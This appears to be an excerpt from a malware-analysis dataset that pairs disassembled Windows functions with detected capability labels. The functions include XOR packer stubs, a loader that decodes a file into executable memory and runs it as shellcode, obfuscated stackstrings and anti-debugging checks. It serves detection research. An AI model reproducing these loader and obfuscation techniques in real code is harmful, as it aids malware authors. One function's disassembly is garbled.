joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402430
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4230c8]
jne 0x40243a
repz ret
jmp fcn.004049fe

Function at 0x40462b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004024b1
and dword [ebp - 4], 0
cmp dword [0x424ab0], 0
mov ebx, eax
jne 0x4046dc
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40478d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40478d
push eax
call fcn.0040243f
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x424ab0], eax
call esi
push eax
call fcn.0040243f
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x424ab4], eax
call esi
push eax
call fcn.0040243f
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x424ab8], eax
call esi
push eax
call fcn.0040243f
pop ecx
mov dword [0x424ac0], eax
test eax, eax
je 0x4046dc
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040243f
pop ecx
mov dword [0x424abc], eax
mov eax, dword [0x424abc]
cmp eax, ebx
je 0x404734
cmp dword [0x424ac0], ebx
je 0x404734
push eax
call fcn.004024ba
push dword [0x424ac0]
mov esi, eax
call fcn.004024ba
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x404734
test edi, edi
je 0x404734
call esi
test eax, eax
je 0x40472b
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40472b
test byte [ebp - 0xc], 1
jne 0x404734
or dword [ebp + 0x10], 0x200000
jmp 0x40476d
mov eax, dword [0x424ab4]
cmp eax, ebx
je 0x40476d
push eax
call fcn.004024ba
pop ecx
test eax, eax
je 0x40476d
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40476d
mov eax, dword [0x424ab8]
cmp eax, ebx
je 0x40476d
push eax
call fcn.004024ba
pop ecx
test eax, eax
je 0x40476d
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x424ab0]
call fcn.004024ba
pop ecx
test eax, eax
je 0x40478d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40478f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401450
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push dword [esp + 0xc]
push dword [esp + 0xc]
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x40147a
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x14]
test eax, eax
mov dword [ecx], eax
jne 0x40147e
xor eax, eax
pop esi
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x10]
push 1
mov dword [ecx], eax
pop eax
pop esi
ret

Function at 0x401499
Capabilities:
Create new key via cryptacquirecontext
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
push edi
xor edi, edi
push edi
push 1
push edi
lea eax, [ebp - 4]
push edi
push eax
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
call esi
test eax, eax
jne 0x4014da
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x4014ed
push 8
push 1
push edi
lea eax, [ebp - 4]
push edi
push eax
call esi
test eax, eax
je 0x4014ed
lea eax, [ebp - 8]
push eax
push 4
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
jne 0x4014f1
xor eax, eax
jmp 0x401503
cmp dword [ebp - 4], edi
je 0x401500
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [ebp - 8]
pop edi
pop esi
leave
ret

Function at 0x4015ee
Capabilities:
Encode data using xor

Disassembly:
imul ecx, dword [esi + ecx*2 - 0x24], 0x9af8e69
test eax, 0x3be32ff
sahf
or al, 0x8a
pop es
rcr dh, 1
and eax, 0x2119c69
mov byte [0x64973b53], al
invalid
Function at 0x42e001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
call 0x42e00c
pop eax
nop
nop
nop
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x42e01e
nop
nop
nop
popal
nop
nop
nop
nop
jmp loc.00401219
Function at 0x432005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x432072
nop
mov ebx, 0x40c7d0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x7c546a7c
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x432060
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4320d2
nop
nop
mov ebx, 0x42f314
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x3b5d3afe
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4320c0
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
nop
mov ecx, 0x400703ff
test eax, eax
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
mov eax, section..text_1
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x1e091f83
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x402962
Capabilities:
Get common file path
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1400
call fcn.00408f60
mov eax, dword [0x2e7f000]
mov ecx, dword [0x2e7df50]
push esi
shr eax, 3
xor esi, esi
cmp eax, esi
jbe 0x402a3f
push ebx
push edi
mov edi, ecx
mov ebx, eax
cmp dword [0x2e7f000], 0x959
jne 0x402a2d
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsExA]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileShortNameA]
push esi
lea eax, [ebp - 0xc00]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
push esi
call dword [sym.imp.KERNEL32.dll_HeapUnlock]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push esi
lea eax, [ebp - 0x800]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push esi
lea eax, [ebp - 0x1400]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push edi
call fcn.0040276e
add edi, 8
dec ebx
jne 0x40298e
pop edi
pop ebx
pop esi
leave
ret
Function at 0x406fe9
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x80a9f0]
jne 0x406ff3
repz ret
jmp fcn.004087d5

Function at 0x40714b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00403850
and dword [ebp - 4], 0
cmp dword [0x80b8cc], 0
mov ebx, eax
jne 0x4071fc
push 0x4019c4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4072ad
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4019b8
push edi
call esi
test eax, eax
je 0x4072ad
push eax
call fcn.004037de
mov dword [esp], 0x4019a8
push edi
mov dword [0x80b8cc], eax
call esi
push eax
call fcn.004037de
mov dword [esp], 0x401994
push edi
mov dword [0x80b8d0], eax
call esi
push eax
call fcn.004037de
mov dword [esp], 0x401978
push edi
mov dword [0x80b8d4], eax
call esi
push eax
call fcn.004037de
pop ecx
mov dword [0x80b8dc], eax
test eax, eax
je 0x4071fc
push 0x401960
push edi
call esi
push eax
call fcn.004037de
pop ecx
mov dword [0x80b8d8], eax
mov eax, dword [0x80b8d8]
cmp eax, ebx
je 0x407254
cmp dword [0x80b8dc], ebx
je 0x407254
push eax
call fcn.00403859
push dword [0x80b8dc]
mov esi, eax
call fcn.00403859
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x407254
test edi, edi
je 0x407254
call esi
test eax, eax
je 0x40724b
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40724b
test byte [ebp - 0xc], 1
jne 0x407254
or dword [ebp + 0x10], 0x200000
jmp 0x40728d
mov eax, dword [0x80b8d0]
cmp eax, ebx
je 0x40728d
push eax
call fcn.00403859
pop ecx
test eax, eax
je 0x40728d
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40728d
mov eax, dword [0x80b8d4]
cmp eax, ebx
je 0x40728d
push eax
call fcn.00403859
pop ecx
test eax, eax
je 0x40728d
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x80b8cc]
call fcn.00403859
pop ecx
test eax, eax
je 0x4072ad
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4072af
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x45b6c0
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x45b6c6
ret

Function at 0x10001de8
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [edx + 0x48]
mov ecx, dword [eax + 0x3c]
test ecx, ecx
je 0x10001e01
push dword [esp + 8]
push dword [esp + 8]
push edx
call ecx
add esp, 0xc
ret
push dword [eax + 0x38]
push dword [esp + 0xc]
push 1
push dword [esp + 0x10]
call dword [sym.imp.MSVCR100.dll_fread]
add esp, 0x10
ret

Function at 0x10005305
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x14], 0xca
jne 0x10005333
push esi
call fcn.10009b3e
cmp dword [esi + 0x40], 0
pop ecx
je 0x1000532c
xor eax, eax
mov dword [esi + 0x14], 0xcf
inc eax
pop esi
ret
mov dword [esi + 0x14], 0xcb
mov eax, dword [esi + 0x14]
cmp eax, 0xcb
jne 0x100053a3
mov eax, dword [esi + 0x1b4]
cmp dword [eax + 0x10], 0
je 0x10005395
mov eax, dword [esi + 8]
test eax, eax
je 0x10005354
push esi
call dword [eax]
pop ecx
mov eax, dword [esi + 0x1b4]
push esi
call dword [eax]
pop ecx
test eax, eax
je 0x10005391
cmp eax, 2
je 0x10005395
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x10005349
cmp eax, 3
je 0x10005378
cmp eax, 1
jne 0x10005349
inc dword [ecx + 4]
mov ecx, dword [ecx + 4]
mov eax, dword [esi + 8]
cmp ecx, dword [eax + 8]
jl 0x10005349
mov ecx, dword [esi + 0x140]
add dword [eax + 8], ecx
jmp 0x10005349
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
mov dword [esi + 0x98], eax
jmp 0x100053c1
cmp eax, 0xcc
je 0x100053c1
mov eax, dword [esi]
mov dword [eax + 0x14], 0x14
mov eax, dword [esi]
mov ecx, dword [esi + 0x14]
mov dword [eax + 0x18], ecx
mov eax, dword [esi]
push esi
call dword [eax]
pop ecx
call fcn.100051d0
pop esi
ret

Function at 0x1001c020
Capabilities:
Hide graphical window

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0
call edi
sub eax, dword [esi + 0x289c]
push 1
cdq
sub eax, edx
sar eax, 1
mov dword [esi + 0x292c], eax
call edi
sub eax, dword [esi + 0x28a0]
cdq
sub eax, edx
sar eax, 1
mov dword [esi + 0x2930], eax
mov eax, dword [esi + 0x2d50]
test eax, eax
je 0x1001c08f
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push dword [esi + 0x28a0]
push dword [esi + 0x289c]
push dword [esi + 0x2930]
push dword [esi + 0x292c]
push dword [esi + 0x2d50]
call dword [sym.imp.USER32.dll_MoveWindow]
push esi
call fcn.1001787d
pop ecx
pop edi
pop esi
ret

Function at 0x1001e4ea
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10029008]
jne 0x1001e4f4
repz ret
jmp fcn.1001ea43
Function at 0x401000
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
mov eax, 0xf40bc
call fcn.00401920
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0xf40b8], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateEventA]
push esi
push 0
push 0
push 0
push 0
call ebx
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
push str.C:WindowsLogsopk.txt
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
lea ecx, [esp + 0xc]
push ecx
push eax
lea edx, [esp + 0x1c]
push edx
push esi
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
xor byte [esp + eax + 0x10], 0x69
inc eax
cmp eax, 0xf40b0
jne 0x401070
push edi
push 0x40
push 0x3000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
push 0xf40b0
lea eax, [esp + 0x18]
push eax
push esi
call dword [sym.imp.MSVCR90.dll_memmove]
add esp, 0xc
call dword [0x403378]
push 0
push 0
push 1
push 0
mov edi, eax
call ebx
push 0
push 0
push 0x64
push 0
push esi
push edi
lea ecx, [esp + 0x28]
push ecx
mov ebx, eax
call dword [0x40337c]
mov esi, dword [sym.imp.MSVCR90.dll_printf]
pop edi
test eax, eax
jne 0x4010e2
push str.Fail
call esi
add esp, 4
push 0xffffffffffffffff
push ebx
call dword [0x403374]
test eax, eax
je 0x401100
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.WaitForSingleObject_failed___d__n
call esi
add esp, 8
mov ecx, dword [esp + 0xf40c0]
pop esi
pop ebx
xor ecx, esp
call fcn.00401128
add esp, 0xf40bc
ret

Function at 0x401128
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x401132
repz ret
jmp fcn.004013e3
Function at 0x403280
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x409008], 0x8088405
inc edx
mov dword [ebx + 0x409008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x407c80
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov esi, eax
mov eax, dword [0x409214]
mov dword [eax], ecx
mov ebx, edx
test ebx, ebx
jle 0x407ca1
mov eax, 0xff
call fcn.00403280
xor byte [esi], al
inc esi
dec ebx
jne 0x407c91
pop esi
pop ebx
ret
Function at 0x100073d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004bbcd
mov eax, dword fs:[0]
push eax
sub esp, 0x14
mov eax, dword [0x100a4040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, 0xf
xor edx, edx
nop
mov al, byte [edx + str.Aui4Vvuj]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x20], al
and ecx, 0x800000ff
jns 0x1000741d
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0xb
jl 0x10007400
mov byte [ebp - 0x15], 0
mov edx, 0x100e4dfc
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x20]
call fcn.10022210
mov dword [ebp - 0x1c], 0x46206f4e
mov dword [ebp - 0x18], 0x6873616c
mov byte [ebp - 0x14], 0
mov edx, 0x100e4df8
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x1c]
call fcn.10022210
mov dword [ebp - 0x18], 0x46206f4e
mov word [ebp - 0x14], 0x676f
mov byte [ebp - 0x12], 0
mov edx, 0x100e4df9
mov dword [ebp - 4], 2
lea ecx, [ebp - 0x18]
call fcn.10022210
mov ecx, 0xb5
xor edx, edx
nop dword [eax]
mov al, byte [edx + 0x1009f9c8]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x20], al
and ecx, 0x800000ff
jns 0x100074ad
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0xc
jl 0x10007490
mov byte [ebp - 0x14], 0
mov edx, 0x100e4df6
mov dword [ebp - 4], 3
lea ecx, [ebp - 0x20]
call fcn.10022210
mov dword [ebp - 0x1c], 0x53206f4e
mov dword [ebp - 0x18], 0x656b6f6d
mov byte [ebp - 0x14], 0
mov edx, 0x100bdc87
mov dword [ebp - 4], 4
lea ecx, [ebp - 0x1c]
call fcn.10022210
mov ecx, 0xb0
xor edx, edx
nop dword [eax + eax]
mov al, byte [edx + 0x1009f9d8]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x20], al
and ecx, 0x800000ff
jns 0x1000751d
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0xb
jl 0x10007500
mov byte [ebp - 0x15], 0
mov edx, 0x100e4df5
mov dword [ebp - 4], 5
lea ecx, [ebp - 0x20]
call fcn.10022210
mov ecx, 0x96
xor edx, edx
mov al, byte [edx + 0x1009f9e4]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x20], al
and ecx, 0x800000ff
jns 0x1000755f
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0xe
jl 0x10007542
mov byte [ebp - 0x12], 0
mov edx, 0x100e4dfd
mov dword [ebp - 4], 6
lea ecx, [ebp - 0x20]
call fcn.10022210
mov ecx, 0x5b
xor edx, edx
mov al, byte [edx + 0x1009f9f4]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x20], al
and ecx, 0x800000ff
jns 0x100075a1
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0xb
jl 0x10007584
mov byte [ebp - 0x15], 0
mov edx, 0x100e4df7
mov dword [ebp - 4], 7
lea ecx, [ebp - 0x20]
call fcn.10022210
mov dword [ebp - 0x1c], 0x776f6853
mov dword [ebp - 0x18], 0x53504620
mov byte [ebp - 0x14], 0
mov edx, 0x100e4dfb
mov dword [ebp - 4], 8
lea ecx, [ebp - 0x1c]
call fcn.10022210
mov dword [ebp - 0x1c], 0x776f6853
mov dword [ebp - 0x18], 0x445548
mov edx, 0x100e4df4
mov dword [ebp - 4], 9
lea ecx, [ebp - 0x1c]
call fcn.10022210
mov dword [ebp - 0x1c], 0x63617274
mov dword [ebp - 0x18], 0x737265
mov edx, 0x100e4dfa
mov dword [ebp - 4], 0xa
lea ecx, [ebp - 0x1c]
call fcn.10022210
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10049e60
mov esp, ebp
pop ebp
ret
Function at 0x10007960
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x11], 0
je 0x10007982
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x2b]
inc eax
xor byte [edx], cl
cmp eax, 0x10
jb 0x10007970
mov byte [esi + 0x11], 0
mov eax, esi
pop esi
ret

Function at 0x10007990
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004bc8d
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x100a4040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1c], 0x69766e49
mov dword [ebp - 0x18], 0x6c626973
mov word [ebp - 0x14], 0x65
mov edx, 0x100e4e05
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x1c]
call fcn.10022210
mov dword [ebp - 0x1c], 0x43206f4e
mov dword [ebp - 0x18], 0x70696c
mov edx, 0x100e4e04
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x1c]
call fcn.10022210
mov dword [ebp - 0x1c], 0x65657053
mov dword [ebp - 0x18], 0x61482064
mov word [ebp - 0x14], 0x6b63
mov byte [ebp - 0x12], 0
lea eax, [ebp - 0x1c]
mov dword [ebp - 4], 2
push eax
call fcn.1001e4a0
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x30]
mov dword [esp], 0x3f800000
lea ecx, [ebp - 0x2c]
push 0x1009fa38
push eax
lea eax, [ebp - 0x18]
mov word [ebp - 0x2c], 0x83
push eax
push 0x100e4e08
xor edx, edx
mov byte [ebp - 0x2a], 0
mov dword [ebp - 0x30], 0x5dc
mov dword [ebp - 0x18], 0
call fcn.100212b0
mov dword [ebp - 0x28], 0x706d754a
mov dword [ebp - 0x24], 0x63614820
mov word [ebp - 0x20], 0x6b
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 3
push eax
call fcn.1001e4a0
add esp, 0x18
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x2c], 0x1005556
xor ecx, ecx
lea eax, [ecx - 0x2b]
xor byte [ebp + ecx - 0x2c], al
inc ecx
cmp ecx, 2
jb 0x10007aa3
push ecx
mov dword [esp], 0x3f800000
lea eax, [ebp - 0x18]
push 0x1009fa38
push eax
lea eax, [ebp - 0x30]
mov byte [ebp - 0x29], 0
push eax
push 0x100e4e0c
xor edx, edx
mov dword [ebp - 0x18], 0x7d0
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x30], 0
call fcn.100212b0
add esp, 0x14
mov dword [ebp - 0x28], 0x20796c46
mov dword [ebp - 0x24], 0x6b636148
mov byte [ebp - 0x20], 0
mov edx, 0x100e4e06
mov dword [ebp - 4], 4
lea ecx, [ebp - 0x28]
call fcn.10022210
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10049e60
mov esp, ebp
pop ebp
ret
Function at 0x1000bcb0
Capabilities:
Create thread
Get disk information
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004c0de
mov eax, dword fs:[0]
push eax
sub esp, 0x40
mov eax, dword [0x100a4040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebp + 0xc], 1
mov esi, dword [ebp + 8]
mov dword [ebp - 0x48], 0
jne 0x1000be14
push 0x10097078
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 0
call fcn.1000c3c0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x44]
mov dword [ebp - 0x48], 1
push eax
push 0
push 0
push 0x1009707c
mov dword [ebp - 0x44], 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov edx, dword [ebp - 0x44]
lea ecx, [ebp - 0x40]
call fcn.1000c6a0
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x48], 3
cmp ecx, 0xf
jbe 0x1000bd72
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000bd68
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1000bd68
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10049fb3
add esp, 8
movups xmm0, xmmword [ebp - 0x40]
sub esp, 0x18
lea eax, [ebp - 0x28]
mov ecx, esp
movups xmmword [ebp - 0x28], xmm0
movq xmm0, qword [ebp - 0x30]
push eax
movq qword [ebp - 0x18], xmm0
call fcn.1000c4c0
call fcn.10001750
add esp, 0x18
test al, al
je 0x1000be35
push esi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
push 0x64
push 0x232
call dword [sym.imp.KERNEL32.dll_Beep]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x1000bc40
push 0
push 0
call esi
push 0
push 0
push 0
push 0x10001530
push 0
push 0
call esi
mov ecx, dword [ebp - 0x14]
cmp ecx, 0xf
jbe 0x1000be14
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000be0a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1000be0a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.10049fb3
add esp, 8
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10049e60
mov esp, ebp
pop ebp
ret 0xc
movaps xmm0, xmmword [0x100a0e90]
lea ecx, [ebp - 0x3c]
push 0x10
push 0x10097078
movups xmmword [ebp - 0x3c], xmm0
mov word [ebp - 0x2c], 0x100
call fcn.10007960
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3

Function at 0x1000be90
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 5], 0
je 0x1000beb2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x2b]
inc eax
xor byte [edx], cl
cmp eax, 4
jb 0x1000bea0
mov byte [esi + 5], 0
pop esi
ret

Function at 0x1000bec0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 8], 0
je 0x1000bee2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x2b]
inc eax
xor byte [edx], cl
cmp eax, 7
jb 0x1000bed0
mov byte [esi + 8], 0
pop esi
ret